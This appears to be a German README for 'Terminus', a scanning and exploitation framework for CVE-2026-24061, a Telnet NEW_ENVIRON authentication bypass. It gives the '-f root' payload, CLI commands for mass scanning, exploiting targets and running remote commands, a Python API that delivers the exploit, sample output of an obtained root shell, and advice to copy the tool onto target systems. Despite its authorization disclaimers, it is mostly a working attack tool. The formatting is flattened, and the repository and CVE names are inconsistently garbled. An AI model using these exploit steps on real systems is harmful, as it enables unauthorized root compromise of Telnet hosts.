
AsyncIO-Scanner & Exploitation-Framework für CVE-2026-24061 (Telnet NEW_ENVIRON Auth Bypass). Bietet hochparallele Erkennung, passives Fingerprinting und autorisierte Root-Shell-Eskalation.
Eine Sicherheitsanalyse-Engine für die CVE-2026-24061 Telnet NEW_ENVIRON-Authentifizierungs-Bypass- und Privilege-Escalation-Schwachstelle.

Terminus ist ein professionelles Sicherheitsforschungswerkzeug, das für autorisierte Penetrationstests und Schwachstellenbewertungen von CVE-2026-24061 entwickelt wurde. Diese kritische Schwachstelle betrifft Legacy-Telnet-Daemon-Implementierungen und ermöglicht unauthentifizierten Remote-Angreifern, die Authentifizierung zu umgehen und Root-Zugriff zu erlangen.
CVE-2026-24061 ist eine Remote-Code-Execution-Schwachstelle in Telnet-Diensten, die RFC 1572 (Telnet Environment Option) unterstützen. Die Schwachstelle nutzt eine unsachgemäße Bereinigung der USER-Umgebungsvariable während der NEW_ENVIRON-Subnegotiation aus:
USER=john → fordert zur Passworteingabe aufUSER=-f root → umgeht die Authentifizierung, gewährt Root-ShellAuswirkungen:
Betroffene Dienste:
192.168.0.0/24, 10.0.0.0/8)--verify): Exploit-Nachweis, bestätigt uid=0 Root-ZugriffTerminus.handshake() - RFC 854-konformer HandshakeTerminus.exploit() - CVE-2026-24061 Payload-Zustellung--exploit-FlagDas Herzstück von Terminus ist die TerminusNegotiator-Klasse, die eine saubere Trennung zwischen Protokollbehandlung und Exploitation-Logik bietet:```python
from terminus import TerminusNegotiator
negotiator = TerminusNegotiator()
await negotiator.handshake(target="192.168.1.100", port=23)
result = await negotiator.exploit(payload="-f root")
if result.success: print(f"Root shell acquired: {result.evidence['uid']}")
### Engine vs. Script-Ansatz
**Traditionelle Skripte** (bestehende Tools):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Terminus-Engine:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report
---
## Installation
### Anforderungen
- **Python 3.10+**
- **Unterstützte Plattformen:**
- Windows 10/11 (PowerShell)
- Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
- Natives Linux (Kali, Parrot, Ubuntu, Debian)
- macOS (mit Python 3.10+)
### Schnellstart (Alle Plattformen)
#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406
chmod +x setup_env.sh ./setup_env.sh
source venv/bin/activate
terminus --version
#### Manuelle Installation (Alle Plattformen)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 – AsyncIO-Telnet-Protokollimplementierungrich – Terminal-UI und Formatierung (ANSI-Unterstützung unter Windows/Linux)pydantic – Datenvalidierung und Modelleaiofiles – Asynchrone Datei-E/Ajinja2 – Berichtsvorlagenpyyaml – Konfigurationsverwaltungpathlib – Plattformübergreifende Pfadbehandlung (integriert)Hinweis: Alle Abhängigkeiten sind reines Python oder verfügen über plattformübergreifende Wheels. Keine plattformspezifische Kompilierung erforderlich.
Aktivieren Sie die Tab-Vervollständigung für eine schnellere Befehlseingabe:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
Testen Sie es:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.
---
## Verwendung
### Scan-Modi
#### Einzelziel-Scan```bash
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
#### Dateibasierter Batch-Scan```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
### Erkennungsmodi
#### Passive Erkennung (Standard – sicher)```bash
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
#### Aktiver Verifizierungsmodus (Proof-of-Exploit)```bash
terminus scan -t 192.168.1.100 --verify
Version prüfen:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db
**Passiver Scan (Standard – konservative Risikobewertung):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low │ unknown │ Unknown │ YES │ - │ 3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
No vulnerable targets found
Aktive Verifizierung mit --verify (Proof-of-Exploit):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify
Parsing 1 targets... Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00
╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯
Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯
Found 1 vulnerable targets!
**Interaktive Ausnutzung:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Attempting exploitation of 172.17.45.122:2323...
Payload: -f root
CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained
[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit
whoami
root
┌──[root@parrot]─[~]
└──╼ #
Wichtige Beobachtungen:
Was es tut:
-f root-Payload durchgeführtuid=0 in der AntwortAnwendungsfälle:
Beispielausgabe:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A
**Batch-Überprüfung:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json
Hinweis: Die aktive Verifizierung versucht eine Ausnutzung. Nur mit entsprechender Autorisierung verwenden.
terminus scan -t 192.168.1.0/24 -o json > results.json
#### HTML-Bericht```bash
terminus scan -f targets.txt -o html -w report.html
terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv
### Exploitation (Nur für autorisierte Nutzung)
#### Interaktive Shell```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target
terminus exploit -t 192.168.1.100 -c "id"
#### Custom Payload```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"
terminus update-signatures
#### Vorherige Ergebnisse verifizieren```bash
terminus verify -f results.json
terminus version
---
## Einrichtung der Testumgebung
### Für Red Team: Plattformübergreifende Bereitstellung
**Terminus ist für die portable Bereitstellung konzipiert** – kopieren Sie das Verzeichnis auf ein beliebiges Windows-/Linux-System und führen Sie es ohne Installation aus:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative
# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24
# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml
Empfohlen für Windows-Red-Team-Workstations – isolierte Linux-Umgebung zum Bereitstellen verwundbarer Testdienste:
wsl --install
wsl --install -d kali-linux
wsl -l -v
#### Innerhalb von WSL2 (Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv
# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump
# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate
WARNUNG: Nur in isolierten Laborumgebungen. Niemals auf Produktionssystemen.```bash
sudo apt install netkit-telnetd=0.17-*
sudo systemctl restart inetd
### Plattformübergreifende Testmatrix
Teste Terminus auf allen Plattformen, die von deinem Red Team verwendet werden:
| Plattform | Installation | Scannen | Ausnutzung |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | Ja | Ja | Ja |
| WSL2 - Kali Linux | Ja | Ja | Ja |
| WSL2 - Parrot OS | Ja | Ja | Ja |
| WSL2 - Ubuntu | Ja | Ja | Ja |
| Natives Kali Linux | Ja | Ja | Ja |
| Natives Parrot OS | Ja | Ja | Ja |
| macOS | Ja | Ja | Ja |
---
## API-Referenz
### Python-Integration```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore
async def scan_network():
# High-level scanner
async with TerminusScanner() as scanner:
async for result in scanner.scan_targets(["192.168.1.0/24"]):
if result.risk_score == RiskScore.CRITICAL:
print(f"CRITICAL: {result.target}")
print(f" Daemon: {result.daemon_type} {result.version}")
print(f" Confidence: {result.vulnerability_confidence:.2%}")
async def exploit_target():
# Direct engine usage
negotiator = TerminusNegotiator()
# Handshake
success = await negotiator.handshake(target="192.168.1.100", port=23)
if not success:
print("Handshake failed")
return
# Exploit
result = await negotiator.exploit(payload="-f root")
if result.success:
print(f"Root access obtained")
print(f"Evidence: {result.evidence}")
# Run
asyncio.run(scan_network())
Dieses Tool ist AUSSCHLIESSLICH bestimmt für:
Unbefugte Nutzung ist ILLEGAL und unethisch.
--exploit-FlagWenn Sie mit Terminus verwundbare Systeme entdecken:
Alle Pfade sind relativ zum Projektstamm – funktioniert ohne Änderungen unter Windows, Linux und WSL:```yaml
scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second
detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true
signatures_db: "./signatures.db"
exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true
reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"
output_dir: "./reports"
logging: level: "INFO"
file: "./logs/terminus.log" format: "json" console_enabled: true